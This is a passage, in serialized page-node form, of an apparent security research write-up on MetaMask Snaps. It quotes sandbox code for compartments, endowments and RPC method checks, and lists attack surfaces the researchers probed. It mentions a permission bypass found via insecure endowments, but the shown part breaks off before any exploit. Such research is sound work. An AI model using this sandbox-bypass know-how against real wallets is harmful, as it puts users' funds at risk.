",{"type":24,"tag":32,"props":39590,"children":39592},{"className":39591},[],[39593],{"type":29,"value":39594},"harden",{"type":29,"value":39596}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":24,"tag":3100,"props":39598,"children":39599},{"start":200},[39600],{"type":24,"tag":3104,"props":39601,"children":39602},{},[39603],{"type":24,"tag":7711,"props":39604,"children":39605},{},[39606,39608],{"type":29,"value":39607},"Create the snap ",{"type":24,"tag":69,"props":39609,"children":39612},{"href":39610,"rel":39611},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[73],[39613],{"type":29,"value":39219},{"type":24,"tag":80,"props":39615,"children":39617},{"className":37429,"code":39616,"language":37431,"meta":7,"style":7},"const compartment = new Compartment({\n ...endowments,\n module: snapModule,\n exports: snapModule.exports,\n});\n",[39618],{"type":24,"tag":32,"props":39619,"children":39620},{"__ignoreMap":7},[39621,39649,39665,39682,39707],{"type":24,"tag":90,"props":39622,"children":39623},{"class":92,"line":93},[39624,39628,39633,39637,39641,39645],{"type":24,"tag":90,"props":39625,"children":39626},{"style":97},[39627],{"type":29,"value":508},{"type":24,"tag":90,"props":39629,"children":39630},{"style":136},[39631],{"type":29,"value":39632}," compartment",{"type":24,"tag":90,"props":39634,"children":39635},{"style":120},[39636],{"type":29,"value":216},{"type":24,"tag":90,"props":39638,"children":39639},{"style":97},[39640],{"type":29,"value":33746},{"type":24,"tag":90,"props":39642,"children":39643},{"style":108},[39644],{"type":29,"value":39274},{"type":24,"tag":90,"props":39646,"children":39647},{"style":114},[39648],{"type":29,"value":1640},{"type":24,"tag":90,"props":39650,"children":39651},{"class":92,"line":200},[39652,39657,39661],{"type":24,"tag":90,"props":39653,"children":39654},{"style":120},[39655],{"type":29,"value":39656}," ...",{"type":24,"tag":90,"props":39658,"children":39659},{"style":136},[39660],{"type":29,"value":39383},{"type":24,"tag":90,"props":39662,"children":39663},{"style":114},[39664],{"type":29,"value":748},{"type":24,"tag":90,"props":39666,"children":39667},{"class":92,"line":239},[39668,39673,39678],{"type":24,"tag":90,"props":39669,"children":39670},{"style":136},[39671],{"type":29,"value":39672}," module:",{"type":24,"tag":90,"props":39674,"children":39675},{"style":136},[39676],{"type":29,"value":39677}," snapModule",{"type":24,"tag":90,"props":39679,"children":39680},{"style":114},[39681],{"type":29,"value":748},{"type":24,"tag":90,"props":39683,"children":39684},{"class":92,"line":248},[39685,39690,39694,39698,39703],{"type":24,"tag":90,"props":39686,"children":39687},{"style":136},[39688],{"type":29,"value":39689}," exports:",{"type":24,"tag":90,"props":39691,"children":39692},{"style":136},[39693],{"type":29,"value":39677},{"type":24,"tag":90,"props":39695,"children":39696},{"style":114},[39697],{"type":29,"value":226},{"type":24,"tag":90,"props":39699,"children":39700},{"style":136},[39701],{"type":29,"value":39702},"exports",{"type":24,"tag":90,"props":39704,"children":39705},{"style":114},[39706],{"type":29,"value":748},{"type":24,"tag":90,"props":39708,"children":39709},{"class":92,"line":258},[39710],{"type":24,"tag":90,"props":39711,"children":39712},{"style":114},[39713],{"type":29,"value":37153},{"type":24,"tag":25,"props":39715,"children":39716},{},[39717,39719,39725,39726,39731,39733,39738],{"type":29,"value":39718},"Note: ",{"type":24,"tag":32,"props":39720,"children":39722},{"className":39721},[],[39723],{"type":29,"value":39724},"module",{"type":29,"value":13360},{"type":24,"tag":32,"props":39727,"children":39729},{"className":39728},[],[39730],{"type":29,"value":39702},{"type":29,"value":39732}," are passed as endowments, but without being ",{"type":24,"tag":842,"props":39734,"children":39735},{},[39736],{"type":29,"value":39737},"hardened",{"type":29,"value":39739},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":24,"tag":3100,"props":39741,"children":39742},{"start":239},[39743],{"type":24,"tag":3104,"props":39744,"children":39745},{},[39746],{"type":24,"tag":7711,"props":39747,"children":39748},{},[39749,39751],{"type":29,"value":39750},"Evaluate the snap code inside the ",{"type":24,"tag":69,"props":39752,"children":39755},{"href":39753,"rel":39754},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[73],[39756],{"type":29,"value":39219},{"type":24,"tag":80,"props":39758,"children":39760},{"className":37429,"code":39759,"language":37431,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n compartment.evaluate(sourceCode);\n this.registerSnapExports(snapId, snapModule);\n});\n",[39761],{"type":24,"tag":32,"props":39762,"children":39763},{"__ignoreMap":7},[39764,39805,39835,39872],{"type":24,"tag":90,"props":39765,"children":39766},{"class":92,"line":93},[39767,39771,39775,39779,39784,39788,39792,39797,39801],{"type":24,"tag":90,"props":39768,"children":39769},{"style":636},[39770],{"type":29,"value":34730},{"type":24,"tag":90,"props":39772,"children":39773},{"style":97},[39774],{"type":29,"value":37532},{"type":24,"tag":90,"props":39776,"children":39777},{"style":114},[39778],{"type":29,"value":226},{"type":24,"tag":90,"props":39780,"children":39781},{"style":108},[39782],{"type":29,"value":39783},"executeInSnapContext",{"type":24,"tag":90,"props":39785,"children":39786},{"style":114},[39787],{"type":29,"value":117},{"type":24,"tag":90,"props":39789,"children":39790},{"style":136},[39791],{"type":29,"value":37836},{"type":24,"tag":90,"props":39793,"children":39794},{"style":114},[39795],{"type":29,"value":39796},", () ",{"type":24,"tag":90,"props":39798,"children":39799},{"style":97},[39800],{"type":29,"value":1315},{"type":24,"tag":90,"props":39802,"children":39803},{"style":114},[39804],{"type":29,"value":269},{"type":24,"tag":90,"props":39806,"children":39807},{"class":92,"line":200},[39808,39813,39817,39822,39826,39831],{"type":24,"tag":90,"props":39809,"children":39810},{"style":136},[39811],{"type":29,"value":39812}," compartment",{"type":24,"tag":90,"props":39814,"children":39815},{"style":114},[39816],{"type":29,"value":226},{"type":24,"tag":90,"props":39818,"children":39819},{"style":108},[39820],{"type":29,"value":39821},"evaluate",{"type":24,"tag":90,"props":39823,"children":39824},{"style":114},[39825],{"type":29,"value":117},{"type":24,"tag":90,"props":39827,"children":39828},{"style":136},[39829],{"type":29,"value":39830},"sourceCode",{"type":24,"tag":90,"props":39832,"children":39833},{"style":114},[39834],{"type":29,"value":571},{"type":24,"tag":90,"props":39836,"children":39837},{"class":92,"line":239},[39838,39842,39846,39851,39855,39859,39863,39868],{"type":24,"tag":90,"props":39839,"children":39840},{"style":97},[39841],{"type":29,"value":37880},{"type":24,"tag":90,"props":39843,"children":39844},{"style":114},[39845],{"type":29,"value":226},{"type":24,"tag":90,"props":39847,"children":39848},{"style":108},[39849],{"type":29,"value":39850},"registerSnapExports",{"type":24,"tag":90,"props":39852,"children":39853},{"style":114},[39854],{"type":29,"value":117},{"type":24,"tag":90,"props":39856,"children":39857},{"style":136},[39858],{"type":29,"value":37836},{"type":24,"tag":90,"props":39860,"children":39861},{"style":114},[39862],{"type":29,"value":133},{"type":24,"tag":90,"props":39864,"children":39865},{"style":136},[39866],{"type":29,"value":39867},"snapModule",{"type":24,"tag":90,"props":39869,"children":39870},{"style":114},[39871],{"type":29,"value":571},{"type":24,"tag":90,"props":39873,"children":39874},{"class":92,"line":248},[39875],{"type":24,"tag":90,"props":39876,"children":39877},{"style":114},[39878],{"type":29,"value":37153},{"type":24,"tag":25,"props":39880,"children":39881},{},[39882,39884,39890,39891,39897,39898,39904],{"type":29,"value":39883},"According to the documentation, the snap must contain one of the following function exports: ",{"type":24,"tag":32,"props":39885,"children":39887},{"className":39886},[],[39888],{"type":29,"value":39889},"onRpcRequest",{"type":29,"value":133},{"type":24,"tag":32,"props":39892,"children":39894},{"className":39893},[],[39895],{"type":29,"value":39896},"onTransaction",{"type":29,"value":15499},{"type":24,"tag":32,"props":39899,"children":39901},{"className":39900},[],[39902],{"type":29,"value":39903},"onCronjob",{"type":29,"value":226},{"type":24,"tag":25,"props":39906,"children":39907},{},[39908,39910,39915],{"type":29,"value":39909},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":24,"tag":32,"props":39911,"children":39913},{"className":39912},[],[39914],{"type":29,"value":39233},{"type":29,"value":39916}," environment of that Compartment.",{"type":24,"tag":25,"props":39918,"children":39919},{},[39920],{"type":29,"value":39921},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":24,"tag":850,"props":39923,"children":39925},{"id":39924},"vulnerability-research",[39926],{"type":29,"value":39927},"Vulnerability research",{"type":24,"tag":1019,"props":39929,"children":39931},{"id":39930},"possible-attacks",[39932],{"type":29,"value":39933},"Possible attacks",{"type":24,"tag":25,"props":39935,"children":39936},{},[39937],{"type":29,"value":39938},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":24,"tag":3207,"props":39940,"children":39941},{},[39942,39947,39952,39957],{"type":24,"tag":3104,"props":39943,"children":39944},{},[39945],{"type":29,"value":39946},"Broken SES Container isolation",{"type":24,"tag":3104,"props":39948,"children":39949},{},[39950],{"type":29,"value":39951},"Insecure endowments in Containers",{"type":24,"tag":3104,"props":39953,"children":39954},{},[39955],{"type":29,"value":39956},"Incorrect RPC permission checks",{"type":24,"tag":3104,"props":39958,"children":39959},{},[39960],{"type":29,"value":39961},"Insecure snap installation/update",{"type":24,"tag":25,"props":39963,"children":39964},{},[39965],{"type":29,"value":39966},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":24,"tag":25,"props":39968,"children":39969},{},[39970],{"type":29,"value":39971},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":24,"tag":1019,"props":39973,"children":39975},{"id":39974},"rpc-interfaces-endowments",[39976],{"type":29,"value":39977},"RPC interfaces endowments",{"type":24,"tag":20686,"props":39979,"children":39981},{"id":39980},"providers-limitations",[39982],{"type":29,"value":39983},"Providers limitations",{"type":24,"tag":25,"props":39985,"children":39986},{},[39987,39989,39995,39996,40001,40003,40010],{"type":29,"value":39988},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":24,"tag":32,"props":39990,"children":39992},{"className":39991},[],[39993],{"type":29,"value":39994},"snap",{"type":29,"value":13360},{"type":24,"tag":32,"props":39997,"children":39999},{"className":39998},[],[40000],{"type":29,"value":33230},{"type":29,"value":40002}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":24,"tag":69,"props":40004,"children":40007},{"href":40005,"rel":40006},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[73],[40008],{"type":29,"value":40009},"methods",{"type":29,"value":78},{"type":24,"tag":80,"props":40012,"children":40014},{"className":37429,"code":40013,"language":37431,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n assert(\n String.prototype.startsWith.call(args.method, 'wallet_') ||\n String.prototype.startsWith.call(args.method, 'snap_'),\n 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n );\n assert(\n !BLOCKED_RPC_METHODS.includes(args.method),\n ethErrors.rpc.methodNotFound({\n data: {\n method: args.method,\n },\n }),\n );\n assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[40015],{"type":24,"tag":32,"props":40016,"children":40017},{"__ignoreMap":7},[40018,40058,40066,40078,40148,40209,40221,40229,40240,40280,40310,40322,40347,40354,40362,40369,40407],{"type":24,"tag":90,"props":40019,"children":40020},{"class":92,"line":93},[40021,40026,40031,40036,40040,40045,40049,40054],{"type":24,"tag":90,"props":40022,"children":40023},{"style":636},[40024],{"type":29,"value":40025},"export",{"type":24,"tag":90,"props":40027,"children":40028},{"style":97},[40029],{"type":29,"value":40030}," function",{"type":24,"tag":90,"props":40032,"children":40033},{"style":108},[40034],{"type":29,"value":40035}," assertSnapOutboundRequest",{"type":24,"tag":90,"props":40037,"children":40038},{"style":114},[40039],{"type":29,"value":117},{"type":24,"tag":90,"props":40041,"children":40042},{"style":136},[40043],{"type":29,"value":40044},"args",{"type":24,"tag":90,"props":40046,"children":40047},{"style":120},[40048],{"type":29,"value":78},{"type":24,"tag":90,"props":40050,"children":40051},{"style":146},[40052],{"type":29,"value":40053}," RequestArguments",{"type":24,"tag":90,"props":40055,"children":40056},{"style":114},[40057],{"type":29,"value":1297},{"type":24,"tag":90,"props":40059,"children":40060},{"class":92,"line":200},[40061],{"type":24,"tag":90,"props":40062,"children":40063},{"style":252},[40064],{"type":29,"value":40065}," // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":24,"tag":90,"props":40067,"children":40068},{"class":92,"line":239},[40069,40074],{"type":24,"tag":90,"props":40070,"children":40071},{"style":108},[40072],{"type":29,"value":40073}," assert",{"type":24,"tag":90,"props":40075,"children":40076},{"style":114},[40077],{"type":29,"value":680},{"type":24,"tag":90,"props":40079,"children":40080},{"class":92,"line":248},[40081,40086,40090,40095,40099,40104,40108,40113,40117,40121,40125,40130,40134,40139,40143],{"type":24,"tag":90,"props":40082,"children":40083},{"style":146},[40084],{"type":29,"value":40085}," String",{"type":24,"tag":90,"props":40087,"children":40088},{"style":114},[40089],{"type":29,"value":226},{"type":24,"tag":90,"props":40091,"children":40092},{"style":136},[40093],{"type":29,"value":40094},"prototype",{"type":24,"tag":90,"props":40096,"children":40097},{"style":114},[40098],{"type":29,"value":226},{"type":24,"tag":90,"props":40100,"children":40101},{"style":136},[40102],{"type":29,"value":40103},"startsWith",{"type":24,"tag":90,"props":40105,"children":40106},{"style":114},[40107],{"type":29,"value":226},{"type":24,"tag":90,"props":40109,"children":40110},{"style":108},[40111],{"type":29,"value":40112},"call",{"type":24,"tag":90,"props":40114,"children":40115},{"style":114},[40116],{"type":29,"value":117},{"type":24,"tag":90,"props":40118,"children":40119},{"style":136},[40120],{"type":29,"value":40044},{"type":24,"tag":90,"props":40122,"children":40123},{"style":114},[40124],{"type":29,"value":226},{"type":24,"tag":90,"props":40126,"children":40127},{"style":136},[40128],{"type":29,"value":40129},"method",{"type":24,"tag":90,"props":40131,"children":40132},{"style":114},[40133],{"type":29,"value":133},{"type":24,"tag":90,"props":40135,"children":40136},{"style":1085},[40137],{"type":29,"value":40138},"'wallet_'",{"type":24,"tag":90,"props":40140,"children":40141},{"style":114},[40142],{"type":29,"value":172},{"type":24,"tag":90,"props":40144,"children":40145},{"style":120},[40146],{"type":29,"value":40147},"||\n",{"type":24,"tag":90,"props":40149,"children":40150},{"class":92,"line":258},[40151,40156,40160,40164,40168,40172,40176,40180,40184,40188,40192,40196,40200,40205],{"type":24,"tag":90,"props":40152,"children":40153},{"style":146},[40154],{"type":29,"value":40155}," String",{"type":24,"tag":90,"props":40157,"children":40158},{"style":114},[40159],{"type":29,"value":226},{"type":24,"tag":90,"props":40161,"children":40162},{"style":136},[40163],{"type":29,"value":40094},{"type":24,"tag":90,"props":40165,"children":40166},{"style":114},[40167],{"type":29,"value":226},{"type":24,"tag":90,"props":40169,"children":40170},{"style":136},[40171],{"type":29,"value":40103},{"type":24,"tag":90,"props":40173,"children":40174},{"style":114},[40175],{"type":29,"value":226},{"type":24,"tag":90,"props":40177,"children":40178},{"style":108},[40179],{"type":29,"value":40112},{"type":24,"tag":90,"props":40181,"children":40182},{"style":114},[40183],{"type":29,"value":117},{"type":24,"tag":90,"props":40185,"children":40186},{"style":136},[40187],{"type":29,"value":40044},{"type":24,"tag":90,"props":40189,"children":40190},{"style":114},[40191],{"type":29,"value":226},{"type":24,"tag":90,"props":40193,"children":40194},{"style":136},[40195],{"type":29,"value":40129},{"type":24,"tag":90,"props":40197,"children":40198},{"style":114},[40199],{"type":29,"value":133},{"type":24,"tag":90,"props":40201,"children":40202},{"style":1085},[40203],{"type":29,"value":40204},"'snap_'",{"type":24,"tag":90,"props":40206,"children":40207},{"style":114},[40208],{"type":29,"value":779},{"type":24,"tag":90,"props":40210,"children":40211},{"class":92,"line":272},[40212,40217],{"type":24,"tag":90,"props":40213,"children":40214},{"style":1085},[40215],{"type":29,"value":40216}," 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":24,"tag":90,"props":40218,"children":40219},{"style":114},[40220],{"type":29,"value":748},{"type":24,"tag":90,"props":40222,"children":40223},{"class":92,"line":281},[40224],{"type":24,"tag":90,"props":40225,"children":40226},{"style":114},[40227],{"type":29,"value":40228}," );\n",{"type":24,"tag":90,"props":40230,"children":40231},{"class":92,"line":384},[40232,40236],{"type":24,"tag":90,"props":40233,"children":40234},{"style":108},[40235],{"type":29,"value":40073},{"type":24,"tag":90,"props":40237,"children":40238},{"style":114},[40239],{"type":29,"value":680},{"type":24,"tag":90,"props":40241,"children":40242},{"class":92,"line":420},[40243,40247,40252,40256,40260,40264,40268,40272,40276],{"type":24,"tag":90,"props":40244,"children":40245},{"style":120},[40246],{"type":29,"value":22766},{"type":24,"tag":90,"props":40248,"children":40249},{"style":136},[40250],{"type":29,"value":40251},"BLOCKED_RPC_METHODS",{"type":24,"tag":90,"props":40253,"children":40254},{"style":114},[40255],{"type":29,"value":226},{"type":24,"tag":90,"props":40257,"children":40258},{"style":108},[40259],{"type":29,"value":36996},{"type":24,"tag":90,"props":40261,"children":40262},{"style":114},[40263],{"type":29,"value":117},{"type":24,"tag":90,"props":40265,"children":40266},{"style":136},[40267],{"type":29,"value":40044},{"type":24,"tag":90,"props":40269,"children":40270},{"style":114},[40271],{"type":29,"value":226},{"type":24,"tag":90,"props":40273,"children":40274},{"style":136},[40275],{"type":29,"value":40129},{"type":24,"tag":90,"props":40277,"children":40278},{"style":114},[40279],{"type":29,"value":779},{"type":24,"tag":90,"props":40281,"children":40282},{"class":92,"line":428},[40283,40288,40292,40297,40301,40306],{"type":24,"tag":90,"props":40284,"children":40285},{"style":136},[40286],{"type":29,"value":40287}," ethErrors",{"type":24,"tag":90,"props":40289,"children":40290},{"style":114},[40291],{"type":29,"value":226},{"type":24,"tag":90,"props":40293,"children":40294},{"style":136},[40295],{"type":29,"value":40296},"rpc",{"type":24,"tag":90,"props":40298,"children":40299},{"style":114},[40300],{"type":29,"value":226},{"type":24,"tag":90,"props":40302,"children":40303},{"style":108},[40304],{"type":29,"value":40305},"methodNotFound",{"type":24,"tag":90,"props":40307,"children":40308},{"style":114},[40309],{"type":29,"value":1640},{"type":24,"tag":90,"props":40311,"children":40312},{"class":92,"line":437},[40313,40318],{"type":24,"tag":90,"props":40314,"children":40315},{"style":136},[40316],{"type":29,"value":40317}," data:",{"type":24,"tag":90,"props":40319,"children":40320},{"style":114},[40321],{"type":29,"value":269},{"type":24,"tag":90,"props":40323,"children":40324},{"class":92,"line":574},[40325,40330,40335,40339,40343],{"type":24,"tag":90,"props":40326,"children":40327},{"style":136},[40328],{"type":29,"value":40329}," method:",{"type":24,"tag":90,"props":40331,"children":40332},{"style":136},[40333],{"type":29,"value":40334}," args",{"type":24,"tag":90,"props":40336,"children":40337},{"style":114},[40338],{"type":29,"value":226},{"type":24,"tag":90,"props":40340,"children":40341},{"style":136},[40342],{"type":29,"value":40129},{"type":24,"tag":90,"props":40344,"children":40345},{"style":114},[40346],{"type":29,"value":748},{"type":24,"tag":90,"props":40348,"children":40349},{"class":92,"line":606},[40350],{"type":24,"tag":90,"props":40351,"children":40352},{"style":114},[40353],{"type":29,"value":39015},{"type":24,"tag":90,"props":40355,"children":40356},{"class":92,"line":615},[40357],{"type":24,"tag":90,"props":40358,"children":40359},{"style":114},[40360],{"type":29,"value":40361}," }),\n",{"type":24,"tag":90,"props":40363,"children":40364},{"class":92,"line":623},[40365],{"type":24,"tag":90,"props":40366,"children":40367},{"style":114},[40368],{"type":29,"value":40228},{"type":24,"tag":90,"props":40370,"children":40371},{"class":92,"line":632},[40372,40377,40381,40385,40389,40394,40398,40403],{"type":24,"tag":90,"props":40373,"children":40374},{"style":108},[40375],{"type":29,"value":40376}," assertStruct",{"type":24,"tag":90,"props":40378,"children":40379},{"style":114},[40380],{"type":29,"value":117},{"type":24,"tag":90,"props":40382,"children":40383},{"style":136},[40384],{"type":29,"value":40044},{"type":24,"tag":90,"props":40386,"children":40387},{"style":114},[40388],{"type":29,"value":133},{"type":24,"tag":90,"props":40390,"children":40391},{"style":136},[40392],{"type":29,"value":40393},"JsonStruct",{"type":24,"tag":90,"props":40395,"children":40396},{"style":114},[40397],{"type":29,"value":133},{"type":24,"tag":90,"props":40399,"children":40400},{"style":1085},[40401],{"type":29,"value":40402},"'Provided value is not JSON-RPC compatible'",{"type":24,"tag":90,"props":40404,"children":40405},{"style":114},[40406],{"type":29,"value":571},{"type":24,"tag":90,"props":40408,"children":40409},{"class":92,"line":669},[40410],{"type":24,"tag":90,"props":40411,"children":40412},{"style":114},[40413],{"type":29,"value":827},{"type":24,"tag":25,"props":40415,"children":40416},{},[40417,40419,40424,40426,40432,40433,40439],{"type":29,"value":40418},"This function is called by the ",{"type":24,"tag":32,"props":40420,"children":40422},{"className":40421},[],[40423],{"type":29,"value":39994},{"type":29,"value":40425}," RPC provider, so it can only send methods starting with ",{"type":24,"tag":32,"props":40427,"children":40429},{"className":40428},[],[40430],{"type":29,"value":40431},"wallet_",{"type":29,"value":15499},{"type":24,"tag":32,"props":40434,"children":40436},{"className":40435},[],[40437],{"type":29,"value":40438},"snap_",{"type":29,"value":40440},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":24,"tag":25,"props":40442,"children":40443},{},[40444,40446,40451,40453,40458,40460,40466],{"type":29,"value":40445},"On the other hand, the ",{"type":24,"tag":32,"props":40447,"children":40449},{"className":40448},[],[40450],{"type":29,"value":33230},{"type":29,"value":40452}," provider only blocks methods starting with ",{"type":24,"tag":32,"props":40454,"children":40456},{"className":40455},[],[40457],{"type":29,"value":40438},{"type":29,"value":40459}," and the blocked methods. However, it requires the ",{"type":24,"tag":32,"props":40461,"children":40463},{"className":40462},[],[40464],{"type":29,"value":40465},"endowment:ethereum-provider",{"type":29,"value":40467}," permission in the snap manifest.",{"type":24,"tag":20686,"props":40469,"children":40471},{"id":40470},"execution-flow",[40472],{"type":29,"value":40473},"Execution flow",{"type":24,"tag":25,"props":40475,"children":40476},{},[40477,40479,40484,40485,40490,40492,40497,40498,40504],{"type":29,"value":40478},"Both providers (",{"type":24,"tag":32,"props":40480,"children":40482},{"className":40481},[],[40483],{"type":29,"value":39994},{"type":29,"value":13360},{"type":24,"tag":32,"props":40486,"children":40488},{"className":40487},[],[40489],{"type":29,"value":33230},{"type":29,"value":40491},") are built outside the SES container with a ",{"type":24,"tag":32,"props":40493,"children":40495},{"className":40494},[],[40496],{"type":29,"value":33306},{"type":29,"value":2877},{"type":24,"tag":69,"props":40499,"children":40502},{"href":40500,"rel":40501},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[73],[40503],{"type":29,"value":33190},{"type":29,"value":78},{"type":24,"tag":80,"props":40506,"children":40508},{"className":37746,"code":40507,"language":37748,"meta":7,"style":7}," const request = async (args: RequestArguments) => {\n assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n const sanitizedArgs = getSafeJson(args);\n this.notify({ method: 'OutboundRequest' });\n try {\n return await withTeardown(\n originalRequest(sanitizedArgs as unknown as RequestArguments),\n this as any,\n );\n } finally {\n this.notify({ method: 'OutboundResponse' });\n }\n };\n",[40509],{"type":24,"tag":32,"props":40510,"children":40511},{"__ignoreMap":7},[40512,40559,40584,40617,40652,40664,40684,40722,40742,40749,40766,40799,40806],{"type":24,"tag":90,"props":40513,"children":40514},{"class":92,"line":93},[40515,40519,40523,40527,40531,40535,40539,40543,40547,40551,40555],{"type":24,"tag":90,"props":40516,"children":40517},{"style":97},[40518],{"type":29,"value":38004},{"type":24,"tag":90,"props":40520,"children":40521},{"style":108},[40522],{"type":29,"value":33195},{"type":24,"tag":90,"props":40524,"children":40525},{"style":120},[40526],{"type":29,"value":216},{"type":24,"tag":90,"props":40528,"children":40529},{"style":97},[40530],{"type":29,"value":38181},{"type":24,"tag":90,"props":40532,"children":40533},{"style":114},[40534],{"type":29,"value":1151},{"type":24,"tag":90,"props":40536,"children":40537},{"style":136},[40538],{"type":29,"value":40044},{"type":24,"tag":90,"props":40540,"children":40541},{"style":120},[40542],{"type":29,"value":78},{"type":24,"tag":90,"props":40544,"children":40545},{"style":146},[40546],{"type":29,"value":40053},{"type":24,"tag":90,"props":40548,"children":40549},{"style":114},[40550],{"type":29,"value":172},{"type":24,"tag":90,"props":40552,"children":40553},{"style":97},[40554],{"type":29,"value":1315},{"type":24,"tag":90,"props":40556,"children":40557},{"style":114},[40558],{"type":29,"value":269},{"type":24,"tag":90,"props":40560,"children":40561},{"class":92,"line":200},[40562,40567,40571,40575,40579],{"type":24,"tag":90,"props":40563,"children":40564},{"style":108},[40565],{"type":29,"value":40566}," assertSnapOutboundRequest",{"type":24,"tag":90,"props":40568,"children":40569},{"style":114},[40570],{"type":29,"value":117},{"type":24,"tag":90,"props":40572,"children":40573},{"style":136},[40574],{"type":29,"value":40044},{"type":24,"tag":90,"props":40576,"children":40577},{"style":114},[40578],{"type":29,"value":30163},{"type":24,"tag":90,"props":40580,"children":40581},{"style":252},[40582],{"type":29,"value":40583},"// or assertEthereumOutboundRequest(args);\n",{"type":24,"tag":90,"props":40585,"children":40586},{"class":92,"line":239},[40587,40591,40596,40600,40605,40609,40613],{"type":24,"tag":90,"props":40588,"children":40589},{"style":97},[40590],{"type":29,"value":33360},{"type":24,"tag":90,"props":40592,"children":40593},{"style":136},[40594],{"type":29,"value":40595}," sanitizedArgs",{"type":24,"tag":90,"props":40597,"children":40598},{"style":120},[40599],{"type":29,"value":216},{"type":24,"tag":90,"props":40601,"children":40602},{"style":108},[40603],{"type":29,"value":40604}," getSafeJson",{"type":24,"tag":90,"props":40606,"children":40607},{"style":114},[40608],{"type":29,"value":117},{"type":24,"tag":90,"props":40610,"children":40611},{"style":136},[40612],{"type":29,"value":40044},{"type":24,"tag":90,"props":40614,"children":40615},{"style":114},[40616],{"type":29,"value":571},{"type":24,"tag":90,"props":40618,"children":40619},{"class":92,"line":248},[40620,40625,40629,40634,40638,40642,40647],{"type":24,"tag":90,"props":40621,"children":40622},{"style":97},[40623],{"type":29,"value":40624}," this",{"type":24,"tag":90,"props":40626,"children":40627},{"style":114},[40628],{"type":29,"value":226},{"type":24,"tag":90,"props":40630,"children":40631},{"style":108},[40632],{"type":29,"value":40633},"notify",{"type":24,"tag":90,"props":40635,"children":40636},{"style":114},[40637],{"type":29,"value":33311},{"type":24,"tag":90,"props":40639,"children":40640},{"style":136},[40641],{"type":29,"value":33316},{"type":24,"tag":90,"props":40643,"children":40644},{"style":1085},[40645],{"type":29,"value":40646}," 'OutboundRequest'",{"type":24,"tag":90,"props":40648,"children":40649},{"style":114},[40650],{"type":29,"value":40651}," });\n",{"type":24,"tag":90,"props":40653,"children":40654},{"class":92,"line":258},[40655,40660],{"type":24,"tag":90,"props":40656,"children":40657},{"style":636},[40658],{"type":29,"value":40659}," try",{"type":24,"tag":90,"props":40661,"children":40662},{"style":114},[40663],{"type":29,"value":269},{"type":24,"tag":90,"props":40665,"children":40666},{"class":92,"line":272},[40667,40671,40675,40680],{"type":24,"tag":90,"props":40668,"children":40669},{"style":636},[40670],{"type":29,"value":2253},{"type":24,"tag":90,"props":40672,"children":40673},{"style":636},[40674],{"type":29,"value":38027},{"type":24,"tag":90,"props":40676,"children":40677},{"style":108},[40678],{"type":29,"value":40679}," withTeardown",{"type":24,"tag":90,"props":40681,"children":40682},{"style":114},[40683],{"type":29,"value":680},{"type":24,"tag":90,"props":40685,"children":40686},{"class":92,"line":281},[40687,40692,40696,40701,40705,40710,40714,40718],{"type":24,"tag":90,"props":40688,"children":40689},{"style":108},[40690],{"type":29,"value":40691}," originalRequest",{"type":24,"tag":90,"props":40693,"children":40694},{"style":114},[40695],{"type":29,"value":117},{"type":24,"tag":90,"props":40697,"children":40698},{"style":136},[40699],{"type":29,"value":40700},"sanitizedArgs",{"type":24,"tag":90,"props":40702,"children":40703},{"style":636},[40704],{"type":29,"value":409},{"type":24,"tag":90,"props":40706,"children":40707},{"style":146},[40708],{"type":29,"value":40709}," unknown",{"type":24,"tag":90,"props":40711,"children":40712},{"style":636},[40713],{"type":29,"value":409},{"type":24,"tag":90,"props":40715,"children":40716},{"style":146},[40717],{"type":29,"value":40053},{"type":24,"tag":90,"props":40719,"children":40720},{"style":114},[40721],{"type":29,"value":779},{"type":24,"tag":90,"props":40723,"children":40724},{"class":92,"line":384},[40725,40730,40734,40738],{"type":24,"tag":90,"props":40726,"children":40727},{"style":97},[40728],{"type":29,"value":40729}," this",{"type":24,"tag":90,"props":40731,"children":40732},{"style":636},[40733],{"type":29,"value":409},{"type":24,"tag":90,"props":40735,"children":40736},{"style":146},[40737],{"type":29,"value":12726},{"type":24,"tag":90,"props":40739,"children":40740},{"style":114},[40741],{"type":29,"value":748},{"type":24,"tag":90,"props":40743,"children":40744},{"class":92,"line":420},[40745],{"type":24,"tag":90,"props":40746,"children":40747},{"style":114},[40748],{"type":29,"value":788},{"type":24,"tag":90,"props":40750,"children":40751},{"class":92,"line":428},[40752,40757,40762],{"type":24,"tag":90,"props":40753,"children":40754},{"style":114},[40755],{"type":29,"value":40756}," } ",{"type":24,"tag":90,"props":40758,"children":40759},{"style":636},[40760],{"type":29,"value":40761},"finally",{"type":24,"tag":90,"props":40763,"children":40764},{"style":114},[40765],{"type":29,"value":269},{"type":24,"tag":90,"props":40767,"children":40768},{"class":92,"line":437},[40769,40774,40778,40782,40786,40790,40795],{"type":24,"tag":90,"props":40770,"children":40771},{"style":97},[40772],{"type":29,"value":40773}," 